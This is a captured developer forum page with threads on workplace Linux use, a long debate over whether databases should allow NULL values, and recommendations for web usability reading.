Fri 25 Jun | Patrik | I use it for proof-of-concept stuff at work. I work in a place where the security to the systems is very tight, and I maintain my own Linux machine in order to test stuff that would otherwise take forever or be politically impossible to get access to. Production stuff is Solaris however.
Fri 25 Jun | Danny Cox | Linux is my personal workstation, and on several servers here.  Production code was written in C, but runs on both Windows and Tru64 (yes, we still have Alphas).  I also use Linux at home, both my wife's machine, my machine, and the firewall.
Fri 25 Jun | Christopher Wells | My previous project was to help to develop some commercial software (an IVR server) for Linux; not my current project (something else, not an IVR server), which is .NET.
Fri 25 Jun | AnonAnonAnon | Linux in Production, and Development mission critical apps.  Workstations are a mix, mostly due to MS Office/Exchange/Outlook.
Fri 25 Jun | Aaron F Stanton | We're mostly a Debian linux shop here, with a little bit of Windows thrown in to support the end users.
Fri 25 Jun | Almost Anonymous | Windows XP for Workstations Linux (Debian) Development/Test Server Linux (Redhat) production server Commercial LAMP development.
Fri 25 Jun | Edward | Linux (RH9) or Windows XP, depending on preference. It's about 50/50 in this office, personally I'm on Linux.
Fri 25 Jun | CF | My previous position was with a local govenment agency (around 8000 employees) - any server our Network Admins could be made Linux was. Pretty much all of the desktops were windows but a good majority of our backend was Linux. This doesn't count the minicomputers and such we had, but it was still quite a bit.
Fri 25 Jun | j. | I used to use UNIX at work all the time in early 90s.  Man, was the UNIX philosophy getting crusty back then.  Now I've very happy to be doing software development under Windows XP.
Fri 25 Jun | robert | Exclusively.  Scientific computing.
Fri 25 Jun | someone | We have several development linux servers. Linux images also run on the mainframe. Desktops for developers are being evaluated, production mid-range servers are also an option.
Fri 25 Jun | Myron A. Semack | We develop drivers and kernel modules for Linux. We also develop user-mode libraries and example programs to demonstrate the library and drivers. We also do a lot of general Linux support (Will your system work with Linux? How do I install Linux on your system? I just installed Linux, how do I compile your driver?). I don't write a lot of code directly (I'm management now), but I spend a lot of time mapping out the APIs and working on how the code should be structured. When are team was smaller a few years ago, I did most of the development myself. We make high-reliability embedded systems for military/industrial applications. We're primarily a hardware company, but our boards need drivers. Linux is a big part of that. We support a lot of other OSes too (even DOS). We're platform-agnostic. We try to support whatever the customer wants to use. We're mostly board-level stuff, but we do some systems integration. We've done some turn-key Linux systems complete with OS and applications, but those are rare (we're expensive).
Fri 25 Jun | Me | Mostly XP on the desktop here, but with a sprinkling of Linux workstations (one of them mine). The servers, save for one file server, are exclusively Linux.
Fri 25 Jun | Stray Reader | I work at a major mortgage company that is currently (gradually) migrating all application/analytics servers to SUSE Linux. Linux is definitely for real in the corporate market. For now Linux on Intel boxes is replacing Unix/RISC combinations like Sun Solaris/SPARC, so you probably don't see it's corporate emergence in Microsoft dominated shops. But one advantage Microsoft has had in gaining server market share is that the Intel platform has great cost advantages over leading Unix platforms like Sun SPARC servers for example. That advantage will now be gone and even slightly reversed since Windows server licenses cost more than Linux distributions.
Fri 25 Jun | E.Frome | Windows 2000 almost exclusively here, just about all of our embedded develoment tool chain is windows based.
Sat 26 Jun | Chris Altmann | Running one ancient Redhat 7 mail/intranet server along side one even more ancient NetWare file server. Considering upgrading to either RHEL3 or MS SBS2003. Serving 20 Windows XP and 98 desktops.
Sat 26 Jun | Tom Vu | I am porting Solaris code to RH Linux
Sun 27 Jun | debian geek | Aaron: May I ask where you work?  Are you hiring?  :-)
DBAs vs. Coders | Fri 25 Jun | Eavesdropper
I recently overheard a conversation between a programmer with numerous years of experience and a data base administrator. The programmer was complaining to the DBA for allowing nulls in his database which caused the programmers application to crash. The DBA maintained that the database was for holding data and that null was a perfectly acceptable value. The DBA also maintained that the onus should be on the programmer to catch exceptions in her code. The programmer prevailed though (after appealing to management) and the DBA had to remove all of the nulls from the database. Who is right in this situation? Is this argument common in the programming world?
Fri 25 Jun | old_timer | The programmer must be able to handle null data. That's a fundamental rule I learned in CS courses back in the 70's. No reason to believe the rule has been recinded.
Fri 25 Jun | DJ | The programmer should definitely check for nulls. The DBA is slightly wrong - Null is not a value - it is an absence of a value. Nulls are perfectly acceptable in certain situations. He/she should have been more persuasive. Too bad.
Fri 25 Jun | Lou | I've seen it go both ways - allowing nulls, and disallowing nulls (typically by putting in a default value). It's been my experience that either way the code ends up looking similar, but instead of 'or is null' you get 'or is '000000000''. Null is perfectly valid. If someone doesn't give me a data value, how am I supposed to store it? (unless the business has rules governing such things... if gender isn't specified use X for uknown, etc).
Fri 25 Jun | Christopher Wells | > Who is right in this situation? It depends on the data. Sometimes data may (for some valid reason) be absent, in which case allowing 'nul' in the database is probably the best way to implement support for that absence.
Fri 25 Jun | muppet from madebymonkeys.net | If the data is only being accessed by a single application (something that never happens) and the application cannot tolerate nulls, then I'd think that the programmer ought to be trapping for that in her code.  I've never heard of anybody relying on the database to validate input.  I certainly never would.
Fri 25 Jun | muppet from madebymonkeys.net | Now, if multiple applications (especially homegrown crap like for example, Bob in accounting got permission to use his special MDB to manipulate data) are accessing the database, then I can understand enforcing some constraints to prevent the Bob's of the world from peeing in your pool.
Fri 25 Jun | Patrik | In my oppinion it depends on exactly where the NULL values was in the database. I maintain my standpoint that programmers should not check for NULLs if the data model is broken. As far as possible, you should disallow NULLs in your datamodel and use database constraints to keep data integrity between tables. In some tables NULLs may be perfectly fine, in which case the data model is not broken and the programmer should handle it. I have a problem with 'The programmer should always check for NULLs' or DBAs saying 'we allow NULLs everywhere, its a perfectly valid value'...Its not a who was right/wrong problem. You need to evaluate design descisions in your data model on a case by case basis.
Fri 25 Jun | muppet from madebymonkeys.net | Maybe it's a personal preference, but I've always maintained that an application should be aware of the data model as much as the database should be set up to enforce it. I wouldn't want to validate input from users based on an error returned (or not returned) from my database driver. That just seems messy to me.
Fri 25 Jun | Captain McFly | 'I wouldn't want to validate input from users based on an error returned (or not returned) from my database driver. That just seems messy to me.' It depends what you mean by 'validate input'. It's the DBMS' job to ensure integrity of your data. The client should not be peforming integrity checks! Of course, if you are talking about things like 'Enter a number' and the user enters a string then sure have your UI throw a fit. But the rest is the domain of the DBMS (that's why they were invented, after all).
Fri 25 Jun | Captain McFly | To be back on point -- if the program is expecting valid data always and the DBMS is set up to allow nulls, then there is a disconnect there which must be resolved by looking at the specs. If the specs say "Attribute XYZ can be NULL" then it's the programmer's fault for not implementing the specs correctly. If it's absent, then the specs were inadequately defined to begin with and it's nobody's fault. If the specs say "Attributes cannot be null" then the DBA should have paid attention.
Fri 25 Jun | anon | My opinion is, if you're storing NULLs . . . you're probably doing something wrong. NULLs can be more tricky than crashing a program . . . having a NULL value will also wreck havoc on queries, as well (a NULL value is neither equal to nor NOT equal to an integral value). For example, you couldn't look for a integer field that is NOT equal to 7 without including NOT equal to 7 and equal to NULL . . . sucks, eh? Bottom line, don't store 'em and continue smiling. If you feel like you must store it . . . dig just a bit deeper.
Fri 25 Jun | MediocreDev | While the NULL concept is the same everywhere (or is it?), the implementation varies from platform to platform and language to language. For example, a NULL in TransactSQL is not the same thing as a NULL in VB. NULLs are a nice academic dream, but in reality they only cause problems and headaches. Just because some people have learned how to use them and cope with the problems they cause doesn't mean NULLs are good. I guess this could be compared to the discussion between managed code and unmanaged code, pointers vs references, etc...
Fri 25 Jun | derek | As much as possible, the database should validate data from the application to protect its own integrity. This is even more important when multiple or untrusted applications access the database. As much as possible, the application should also provide its own validation on the data going into the database, because this prevents the need for a round trip to the database and makes for a better user experience. But it should also check for errors coming back from the database instead of just ignoring them and pretending like they never happened (like when you put bogus data into the password retrieval feature of a web forum and it just says 'password sent' anyway). I agree with the comments on the data model deciding whether NULLs are allowed. If a NULL shouldn't be allowed in a specific field, then it is the database's responsibility to maintain its own integrity by putting the NOT NULL constraint on that field. It is the application programmer's responsibility to know which fields may or may not contain NULLs, and write the application accordingly. If a field that should not contain a NULL has a NULL, then the integrity of the data is broken, not the application. And that's a more serious problem than the application crashing.
Fri 25 Jun | Captain McFly | There's a school of thought that says allowing NULLs in a DB is a serious mistake. I don't entirely agree with them but I do agree that NULL provides significant headaches and little/no practical benefits. NULL 'values' simply move the headache from the DBMS to the application. The real question is -- what do NULLs mean in your DBMS? A DBMS is a collection of facts and derived facts. NULLs are a meaningless assertion. One quite interesting solution to the NULL problem is to have a series of shadow (DBMS-maintained) tables which indicate the *reason* for a missing value. See Chapter 10 of “Practical Issues in Database Management” (Pascal).
Fri 25 Jun | Devin | I would argue that allowing NULLs for a column depends on the application that the database depends on, but most certainly they shouldn't be eliminated altogether.  Returning a NULL is one of the most reliable ways to tell a program that no data was returned, versus "0", "zero", or any other mish-mash of custom implementations.  Generally I like to block insertion of NULLs, that way if I am seeing NULLs returned from the db, I know something's wrong. 
Fri 25 Jun | the real world | Most DBAs are clueless, so the programmer is probably right.
Fri 25 Jun | Thanks Microsoft | But the Coders are on a faster train to India.
Fri 25 Jun | anon-182 | In my opinion, the coder is wrong. You should always check for null. Relying on someone is not the smartest thing to do. Yes, I know if the DB Admin did his job... But that's the rub. 'IF someone did X,' is true in any situation. But in the real world things happen. It is our job as professionals to guard against these failings. Is there is disconnect in this situation? I don't know. Did the developer look at the data model before programming? Did the DBA provide a complete data model? As for the argument over whether null is valid or not, it’s up to the data base designer to decide. From personal experience I’ve seen several instances where the absence of a value made more sense than one picked arbitrarily. I hope they made this decision to remove nulls, after making sure that this change wouldn’t break any existing applications. Who knows what queries rely on a null value being there. Yikes!
Fri 25 Jun | Ron Porter | So if NULL is bad news in a database, how does one deal with creating a record with partial information? For example, I'm supposed to create a customer record so that I can get billing done. As part of that process, I'm supposed to enter a phone number, but the data input sheet does not contain a phone number because someone else either forgot to get it or the customer refused to supply it. The input mask requires a properly formatted phone number, but there is no phone number. Is there supposed to be a 'standard' fake number? If so, what happens if that fake number is mis-keyed--now it looks like a real phone number. Is it not better to just leave the phone number field blank (NULL)? I was taught, perhaps incorrectly, that NULL is the absence of data and was the correct choice when data was absent. I remember thinking at the time that this was logical and smart and was glad that somebody bothered to think of how to deal with the absence of data.
Fri 25 Jun | AllanL5 | Good job Ron, you've done it. You've addressed the central issue of NULLS. How would you deal with partial records without a NULL? Exactly. Most programmers treat data as having 2 values -- It IS Zero, or it IS something else. But the third state of data is that the data is Undefined. Returning a zero for data that is really Undefined confuses the issue. When that happens, you don't know if the data is a Defined 0, or was really Undefined. This doesn't bother most programmers, because they either don't care about the distinction, or they define it to 0 almost immediately. Of course, 'C' does not have a value to identify this distinction -- so 'NULL' graduates to 0, or a 'null string', almost immediately. In the database, you can only keep a NULL if you never really set that columns value -- which is sometimes important to know. It is a problem which needs to be worked out -- how to handle NULL. I don't think it is a problem with easy answers, or one that either side should just dismiss with a 'That's YOUR problem' kind of response.
Fri 25 Jun | Bellyful | To say 'NULLs are a meaningless assertion,' is false. NULL in data says you don't know the value. NULLs are not an academic dream, and do not 'only cause headaches' for skilled professionals. They are very valuable, and very easy to use. Whenever it is useful to discriminate between knowing you know a value, and knowing you do not, NULLs are the absolutely correct tool. Many business applications do not benefit from such a discrimination, and so do not need NULLable columns. Empty strings suffice for some things. Numeric types in the data world usually have no good analog to empty strings, so learn how to use NULL. But also, many business applications -- even some with only textual data -- *do* benefit from such discrimination. Scientific applications very often do. And whether to use NULLs is a columnwise decision for the person designing the database. There is no rule of thumb. To answer the original post: the decision is not a question of preference for either for the DBA or for the programmer. The need for discrimination is the only determinant. The nature of the situation decides this. The programmer should be perfectly happy to find a NULL in any column allowed to have NULL, behaving properly when one appears, but should in nearly all cases handle unexpected NULLs at a higher level than expected NULLs, treating that as an exception, and not a legitimate situation. (This last aspect is to keep the code uncluttered.) The programmer should not explicitly 'always check for null' as stated earlier, except where NULL is legitimate. This is one of the reasons modern languages provide exceptions. Yes, 'there's a school of thought that says allowing NULLs in a DB is a serious mistake,' and that school is wrong. The basis of that view is that NULLity causes problems for the mathematical foundations of relational databases, but that foundation is quite distant from the implementations we all use. See Chris Date or Ted Codd (may he rest in peace) for the theory. Ron Porter, NULL is *not* bad news despite claims above. All skilled programmers know how and when to allow them, as do all skilled database professionals. The answer to your question is that the 'standard fake number' idea is shamefully bad user interface design, the perpetrator should be flogged then fired, the application corrected, and the existing data amended.
Fri 25 Jun | Bellyful | And having just reread the subject line, I'll reiterate that this is not a question of DBA vs. Programmer, but rather of correct for the situation or not correct.
Fri 25 Jun | Duncan Smart | Nulls are useful. How do you represent, say in C# code, an unspecified DateTime? As it's a value type you can't set it to null, so then you have to choose a "magic value" such as DateTime.MinValue... yuk. So with "nullable types" coming in the next version of .NET it'll make this sort of thing much easier. So nulls definitely don't seem to be going out of fashion.
Fri 25 Jun | Joe | Oooh, goodie, a rant on NULL values!! :) I agree that NULL is a perfectly valid (lack of) value. Think of a survey in which people must fill in little circles representing 'yes' and 'no.' And since this is a paper (gasp!) survey, there's no JavaScript to tell them they forgot a question. There is a lot of real statistical value to knowing which questions people answered 'no' to, and which ones they didn't answer at all. Without NULLs, you'd have to have two bit fields in your DB to represent this -- one for answered/not answered and one for the yes/no response. There are lots of situations where NULL is quite useful...in fact, I don't think I'd even consider using a DBMS product that didn't support it. The problem however crops up when you start accessing DBMS systems with modern programming languages. As someone mentioned above using C as an example, most of the popular languages don't support NULL for value-types, so there is a disconnect between the code world and the data world. I know it's done for performance, but it'd be nice if the language designers let me choose for myself when I need the performance of, for example, a regular datetime vs a nullable datetime, without forcing me to lose type safety and compatibility between the two, which happens when you resort to clunky hacks like wrapper structs and DateTime.MinValue.
Fri 25 Jun | Albert D. Kallal | >The programmer must be able to handle null data. That's a fundamental rule I learned in CS courses back in the 70's. No reason to believe the rule has been recinded. >You need to evaluate design descisions in your data model on a case by case basis. Yes, regardless, the real issue here is some standard, and then you stick to it. You can’t just decide at one time oh..yea..lets now allow nulls, or not allow nulls. The big issue is what will your code expect for a CompnayName that is left blank. You can agree that a blank Company field is going to be either a zero length string, or null. However, you sure as the hell better decide before you start writing code. This is not something you leave to the wind. All of a sudden, you start allowing zero length names in the company field that was previously null, then you are in big trouble, as now you must deal with two different conditions for the same meaning (that meaning is that a Company name was not filled out). Select CompanyName from tblCustomers where tblCustomers is null Or Select CompanyName from tblCustomers where tblCustomers = “” Ouch..what a mess you instantly create! While in theory the idea of having CompanyName un-defined sounds cool, in practice this is usually a laughable issue! However, you still MUST nail down as to what a blank company name is going to be when it is not filled out. It is that simple. As a rule, I setup things up as: Blank text fields are null, and number fields are defaulted to 0 (and required). However, it really depends on your environment. Further, there was comments about records that are un finished. So, sure, we can often have a mailing list, but no company name. So, the real question becomes what value do you want to allow for a blank company name? Lets assume that you hate nulls, and thus say, ok…my standard is a zero length string for blank text fields, and the value of 0 for number fields (this is ok). At this point, we never have to worry about nulls..right? Wong! The problem is that anytime you use sql to join two tables together, and use a left join (which by the way is about 90% of my joins), then you get nulls in the empty child records. In other words, the parent record might be completely filled, or perhaps might have a blank company name with a zero length string. However when there is NOT a corresponding child record, then all fields for that child record returned are NULL in that data set. What this means, is that even if your designers, and programmers DO NOT allow any nulls anywhere…the instant you use sql to join tougher two tables…poof! You now have ton of nulls to deal with. Since you HAVE TO deal with nulls (even if you hate them!), then I tend as a preference to prefer blank fields as null. This does mean that often you can’t tell the difference between a non existent child record, or simply that some fields in the record are not filled out (this is the best argument in practical terms to allow nulls and zero length strings in the same system (I mention this just in case you were wondering how one could use null vs zero lenght things!!)). However, this situation is VERY VERY VERY rare that you need to make this distinctions between not filled out, and simply empty ! 99.9999% of the time, you simply want to know if the field is empty, or not. So, you might as well adopt the standard that empty fields have a value of null. This makes the whole application easier to deal with, and no thinking as to what values empty fields will have. Why get caught out in a whole bunch of database mumbo jumbo when all you need here is to know if a field is empty? Save that very rare exception(s) for some other people with too much time on their hands. As mentioned, since joins produce nulls all the time, then having blank fields = null means you only have to deal with one type of field when it is empty…not two types. So, thus blank fields = null favors my choice. Regardless, whatever you adopt…STICK TO IT, and make sure everyone knows about the assumptions made. There might not be one rule as to using nulls, ….but the final rule is to at least stick to SOME design assumption and run with it. Albert D. Kallal Edmonton, Alberta Canada kallal@msn.com http://www.attcanada.net/~kallal.msn
Fri 25 Jun | Albert D. Kallal | >There is a lot of real statistical value to knowing which questions people answered 'no' to, and which ones they didn't answer at all. Without NULLs, you'd have to have two bit fields in your DB to represent this -- one for answered/not answered and one for the yes/no response. And that above is a problem? Golly, why not just have: 1 – yes 2 – no 3 – not answered. Don’t get me wrong, I see the point. but we don’t have to do that anymore. Surely, we are not trying to save disk space here? Perhaps null can mean the machine failed to read the value? You see, the instantt YOU ARE applying an attribute to a null value, then you just gave it meaning! You can’t tell everyone that null means nothing. Then, 2 seconds later, you now tell me that null now means = “question was not answered”. You are applying meaning to the null value here! You are free to do this..but at least be aware you applying a meaning to the null value! In your case. you ARE defining what null means...and you should not! So, I can’t really buy into the above use of nulls. Simply build your data structures that you need to model the situation at hand. Why even being to bother with some issues of nulls vs non nulls in a simple defined problem as above? If we need our system to deal with un-answered questions, then lets golly well design the system to work with the 3 choice. Nulls have their place, but not for: ......to save disk space? ……a processing point of view? ……. a coding point of view? And, what about using domain functions on the above test score examples? What about using sql on the data? The above '1,2,3' is MUCH easier to use domain, and group by stuff to total on. In fact, often you can’t even total nulls by using group by, so how would you even get a total of un-answered questions for question #34 With the above design, sql can easily generate a total for 1, 2 and 3 very easy. (group by with sum. After all, we do want a count of un-answered questions here also. right?). Further, as mentioned, if pull that data via a sql query, and that data is in a child record , then those missing child records return null values. And, I betting in MOST automation survey systems, each question code, and answer is going to be joined to a parent record. (and, thus, all of a sudden those nulls that had meaning, actually mean something else (like the record for that one question does NOT exist..as this will ALSO produce null values for those fields!). Albert D. Kallal Edmonton, Alberta Canada kallal@msn.com http://www.attcanada.net/~kallal.msn
Sat 26 Jun | Ged Byrne | There is an interesting article here from Hugh Darwen: http://www.hughdarwen.freeola.com/TheThirdManifesto.web/Missing-info-without-nulls.pdf I think he makes a strong argument, which is the same as Albert's. A null is an absense of data, so you shouldn't use to to say something like 'Not completed.' What happens if there is more than on reason for missing data. Then null might mean 'not completed' or 'not applicable.' How can you know which one is relevant? The solution he offers is dependant on 'The Third Manifesto,' Hugh Darwen and Chris Dates proposal for how object oriented relational databases should work. For the time being, however, NULLs are unavoidable when working with SQL. As Albert points out, some SQL features are dependant upon NULLS to work. I think a world without NULLS would be much nicer place to code, but I don't think we're going to see it anytime soon.
Sat 26 Jun | Albert D. Kallal | >I think a world without NULLS would be much nicer place to code, but I don't think we're going to see it anytime soon. Great stuff there Ged! I also agree that modem dbs engines should have a “no nulls” setting. That means even joins that do NOT have a child record would return blank fields (their defaults), and NOT nulls. This feature would fix this whole mess right fast! However, since we do have nulls, then we have to deal with them. This means for purposes a true/false field can have 3 values..and that just plain stupid! It really is a shame the whole industry adopted this null thingy! By the way, while I make a good case as to why I want ANY empty field to be null (I just simply want to avoid the 3 value trap), there is ONE major drawback! The ONE major shortcoming in using nulls is from a users point of view. For end users..they can get instantly confused: Select count(*) from tblCustomer. 10,000 records Select count(*) from tblCustomer where Sex = “Male” 4000 records Select count(*) from tblCustomer where Sex <> “Male” 3000 records Hum, now why does the simple total of the above two queries not total 10,000? It is those stupid nulls. (we have got 3000 of them in the above..right!) Select count(*) from tblCustomer where Sex = “” 0 records Select count(*) from tblCustomer where Sex is null 3000 records Most of the time, we don’t use a not =, but it can bite you So, while my standards is to say nulls for empty fields, users can VERY easily get bit by the above. Of couse..I always provide a good UI..and my users never see the sql. However, if your users WILL in fact be using sql..then having blank fields as zero length is a major consideration (and, I have zero quarrel with anyone who would have brought up the above argument). (this means more pain for the developers, but more ease of use for the end users of sql). Albert D. Kallal Edmonton, Alberta Canada kallal@msn.com http://www.attcanada.net/~kallal.msn
Sat 26 Jun | Patrik | >then having blank fields as zero length is a major >consideration Wrong! You should never let you end users limited understanding of the datamodel influence your design descisions, and have empty textfields be space padded instead of NULL or whatever. Create views for your SQL using users. They are happy, that way and can't really tell the difference. In the view you can perform whatever tricks is nessecary to simplify the users life, but you can also preserve your datamodel that contains the NULLs.
Sat 26 Jun | Ged Byrne | Shouldn't the end user, whether you are considering their needs or their limitations, be the basis for all your design decisions? If an application is conceptually perfect but nobody uses it, then it is a useless application.
Sat 26 Jun | Albert D. Kallal | Well, it depends on how the users are going to get at that data. We might not have views (Does MySql have them yet?). And, even if we do, the instant a user starts to join the data, then again, MOST database systems will start to return null values again. So, even if you present data as views, you can’t allow users to join the data can you? As said, if you can completely control the environment, and what the users sees, then there is no problem at all. There is no debate. If you don't let usrs join data..then likey we don't have a problem. However, you can’t always control the users environment, and thus you DO HAVE to take into consideration how the users, and the data will be used. A compromise that results in extra work might in be order…but you don’t always have this choice. Again, it really depends on your users, and what tools are available. Fact is, consideration has to be give to if you allow nulls in your system, and using a view can’t even come close to solving this problem if you allow users to join the data. Albert D. Kallal Edmonton, Alberta Canada kallal@msn.com http://www.attcanada.net/~kallal.msn
Sat 26 Jun | Simon Lucy | To emphasise the point. If you make select data from two tables in, say, a left join, then if the right hand side doesn't exist for the left hand table you will have NULL values. This is normal. I'd be interested in what would be replaced by the NULL, in numerical fields 0 might be acceptable but not in all cases, since 0 is data and NULL is not and the difference is important. For foreign keys, you'd have what? Some made up key that pointed at something like 'Empty'? That belongs in the interface, not the data.
Sat 26 Jun | Patrik | Ged, But ofcourse. But in my experience when users present data models of what they need they are often poorly implemented. If I as a developer understand the underlying need of the user, I can often make a better data model. I remember systems where we redid the entire data model, but presented via views and other functionality parts of the old datamodel to keep old reporting tools working. Albert, Who uses MySQL for anything serious anyway? I've used some DB2 and much Oracle, but I also use PostgreSQL for the no-budget deals. I've done systems that had an entire view layer over all the tables for security purposes. No joins in the views, other than security stuff. That gives you perfectly joinable views as far as the application is concerned. The view layer simply selects the stuff you are allowed to see. Consider this (somewhat bad) example: CREATE TABLE DEPARTMENT (ID_DEPARTMENT NUMBER NOT NULL, NAME VARCHAR2(50) ); CREATE TABLE USER_DEPARTMENT (USERNAME VARCHAR2(20), ID_DEPARTMENT NUMBER NOT NULL); CREATE TABLE PERSON ( ID_PERSON NUMBER NOT NULL, FIRST_NAME VARCHAR2(30) NOT NULL, LAST_NAME VARCHAR2(30) NOT NULL, SOME_NULL_FIELD VARCHAR2(100), OWNER_DEPARTMENT NUMBER NOT NULL ); CREATE TABLE PERSON_VIEW AS SELECT ID_PERSON,FIRST_NAME,LAST_NAME, NVL(SOME_NULL_FIELD,'THIS FIELD IS REALLY NULL'), OWNER_DEPARTMENT FROM PERSON WHERE OWNER_DEPARTMENT IN (SELECT ID_DEPARTMENT FROM USER_DEPARTMENT WHERE USERNAME=USER); Then your users can join stuff, just like they would any 'real' tables, and you can ensure both security and consistency, since you can grant users access to the views, but not necessarily to the underlying table. This join would be perfectly possible: SELECT NAME FROM DEPARTMENT D, PERSON_VIEW PV WHERE PV.OWNER_DEPARTMENT=D.ID_DEPARTMENT But ofcourse, this might be overkill at times, and also not possible if your RDBMS doesnt implement views.
Sat 26 Jun | Albert D. Kallal | >Albert, >Who uses MySQL for anything serious anyway? LOL! Apologies to all MySql lovers around the world! You examples do show that you are now casting values for those nulls (NVL). Also, as mentioned, if you had any left joins..then those child records will STILL return null values. (for example, give me a list of all persons and their departments. Some persons might not yet be assigned ANY department yet (your constants have the department as a requirement, and I might not want that). Look, I don’t think there is any real big disagreements here. My point at the end of the day is are nulls really needed, and on a daily bases, how do they help you? I can NOT remember the last time I talked to a developer, and that developer said oh..boy, I am sure glad this database has null support, as it saved my a whole bunch of trboule..or solved a problem. I been developing software for about 20 years, and virtually MOST of my development has centered around using databases. I love and enjoy database systems, as they tend to be the life blood of any good application, and in fact tend to be the most valuable computer assets that a company has. I have no agenda against nulls, and I deal with the nulls as a regular part of development. However, lets get away from the theory stuff (which I love), and take this discussion to the practical. When is the last time you found real benefits by using a system with null support? I worked extensively with systems that have nulls, and other systems that do not. I just can’t say this whole null idea was any real big benefit to the whole IT industry, and in fact most of the time it likely has been an additional cost/pain that we did not need (those bunch of views and now having to use NVL to cast those nulls just supports this whole extra effort..and for what??). I need some real good concrete examples where nulls really solve a real world problem, and not some example that simply casts a field that should only have two values (true/false for example) into a field that now has 3 values? It is certainly not that I don’t understand nulls…but have to admit that with my considerable experience in the industry, I still find myself with a embarrassing lack of arguments to support the whole null idea. Albert D. Kallal Edmonton, Alberta Canada kallal@msn.com http://www.attcanada.net/~kallal.msn
Sat 26 Jun | Philo | Field Name: BirthDate Data Type: DateTime When entering data, the birthdate wasn't given. What do you put in that field? Then there's the issue of data migration - you can't always control the data at inception... Philo
Sun 27 Jun | Albert D. Kallal | Philo, the date example is a very good example (likely the best one can come up with). I should say that I have worked on other systems that handles this date problem equally well without the concept of nulls. String based database processors (Advanced Revelation / pick) systems store all values as a string. So, “” is for no value, and 0 = is some internal date value that I don’t know (In this system you can subtract two dates and you get number of days (just like most systems). Thus, in pick we can go: With SomeDate = “06/30/2004” With SomeDate = “” The same goes for the old dos FoxPro For someDateField = {06/20/2004} For someDateField = {} In the above, the 2nd date field is simple empty, just like you test for a empty Company Name field. The FoxPro date functions will thus return : year({01/01/2000}) will return 2000 year({}) will return zero So, the above is two systems (of many) that I have worked with, and they just work just fine with a empty date value. In sql, for that null date we go: Where SomeDateField is null Why not have just used: Where someDateField = “” The above would be easer to code also. Further, it is easer for users, since they don’t have to learn two syntaxes. Users tend to like: Where SomeCity = “” and someDateField = “” Much better then: Where SomeCity is null and someDateField is null Further, as mentioned, it is MUCH easer to code, since code that needs to search for user input value can both work for empty vaules..or a given value. In other words, why have two sets of syntaxes here? One to find fields with values..and then the Null to find empty fields? So, sure, date fields are an excellent example of nulls, but most database systems that don’t have a null concept handle empty date values with great ease. Seems to me a heck of a lot of design stuff was done JUST to have nulls, and most systems don’t miss this feature at all. Albert D. Kallal Edmonton, Alberta Canada kallal@msn.com http://www.attcanada.net/~kallal.msn
Sun 27 Jun | Patrik | Albert, >I need some real good concrete examples where nulls >really solve a real world problem I have worked with systems that use NULLs and I also have worked with systems that don't. If you use the CHAR datatype in Oracle you can not store NULL, since an empty CHAR field is space-padded to its declared length. An empty CHAR(1)-filed is contains 1 space, and is not NULL. This is a major pain in the you know where. NULLs or not are not really a major deal, its just that I find it annoying to write SQL for systems that implement such a data model without the NULLs. This is a just an emotional thing with me, no logical argument :)
Sun 27 Jun | matt | I'll tend to make fields NOT NULL in the database whenever it's suitable to do so. Sure, the application should check for null input too, but if a null value should never occur for a certain field and this needs to be enforced, it should be enforced on both levels. Reasons: -Your client app might not be the only piece of software accessing the database -Even if it is, having the database check things like nulls, foreign key integrity etc is a useful sanity check against bugs in your code
Sun 27 Jun | matt | Why are nulls useful? well for an integer field, say, there's often a clear need to distinguish between '0' and 'no data entered'. For a boolean field between 'yes', 'no' and 'don't know/not known/no answer given', for example. For character fields they are less useful I admit, but still sometimes you want to distinguish between 'this field intentionally left blank' and 'we don't have any information about this and whether it should be blank or otherwise'
Sun 27 Jun | no name | the problem with: 1 – yes 2 – no 3 – not answered (so we don't use NULL) is that it won't work for integral types only if you make them a composite one. eg how do you say 'age': -1 : not answered 0-99: age sounds good, but then for the following question' what is the avg age' you do not need to count -1, so it's a shit solution in this example
Sun 27 Jun | no name | NULL or not NULL. Stupid questions. NULL is a special value for special case. Even if you replace NULL with some valid value (eg. Dec/31/9999) it will be still a special value which need special attention. I prefer NULL, because it screws up the arithmetic operations and at least I know where should I pay special attention for a special value. Replacing it will a 'valid' value and you can start check your whole codebase.
Sun 27 Jun | Bellyful | Albert, there are tons of examples of good uses of NULL. In addition to those given by Matt and Philo, a great example that comes to mind is ship date on an order that has not yet shipped. Account close date for a still-open account? Temperature, when the sensor was not responding? Also... SQL database systems don't store date attributes as strings, nor accept string literals for dates in insert or update statements, nor other date expressions such as where-clause comparisons. I don't know what you were reaching for with your dBase or Pick examples, but how using an empty string in those systems differs from using NULL in the systems of today would deserve a lot more explanation to be relevant here.
Sun 27 Jun | Bellyful | Using sentinel values is a hack.  If you have no other tool available to mark a value as special, then fine, use the sentinel.  But relational databases do have such a tool to say "none" and that tool is NULL.  Using a sentinel as a substitute for NULL in a system that provides NULL seems a mark of shame.
Sun 27 Jun | Anon-y-mous Cow-ard | This may have been said (so many posts, so little time) but it definately deserves to be repeated...the use of NUL values in a db is indirectly proportional to the "normalizedness" of that db. The more NULs the less normalized. If you have a condition where one piece of data could be left out, causing the "need" for a NUL value, that column should be in its own table. Simple as that.
A good reading on Web usability | Fri 25 Jun | Sathyaish Chakravarthy
Sparing Jacob Neilsons AlertBox, any good reading on web usaibility principles, or website design principles from the point of view of usability? PS: Ive used Google, but Im looking for advise from people whove read something relevant to my question and have found something interesting.
Fri 25 Jun | JD | Try Singal vs Noise blog. JD
Fri 25 Jun | Poof | http://www.hcibib.org/hci-sites/ There are tons of links I just click on random ones, they all have some useful info
Fri 25 Jun | Sathyaish Chakravarthy | I was leaning towards responses of the kind, 'hey! I read that one. It is very insightful.' When you Google, there are just so many, and not all of them add value. Not all of them are interesting. Not all of them have something wise.
Fri 25 Jun | rashmi | Boxes and Arrows is a good read http://www.boxesandarrows.com I like joining mailing lists and slowly learning about a topic: You could try the CHI list: http://www.listserv.acm.org/archives/chi-web.html There is also an active Indian usability list that might be of interest to you http://groups.yahoo.com/group/hciidc/
Fri 25 Jun | Sathyaish Chakravarthy | Thanks! Nice Indian name you thought of, dude! Rashmi. Nice. Very enticing.
Sat 26 Jun | rashmi | Dude, You should be less suspicious :-) Try google if you need to know. There are a few women who hang out on JOS, and even use their names. Well, at least sometimes.
Sat 26 Jun | www.marktaw.com | http://www.amazon.com/exec/obidos/tg/detail/-/0789723107/ref=ase_r5un7ejl-20/103-9145934-7042260?v=glance&s=books My review should be somewhere in the reviews section.
Sun 27 Jun | Mr. Analogy | I second Marktaw's recommendation. Don't Make Me Think is THE single BEST book on web useability that I've EVER read. I't not comprehensive, but it's 100% useful, no fluff.
The Sales Volume Myth | Fri 25 Jun | DB
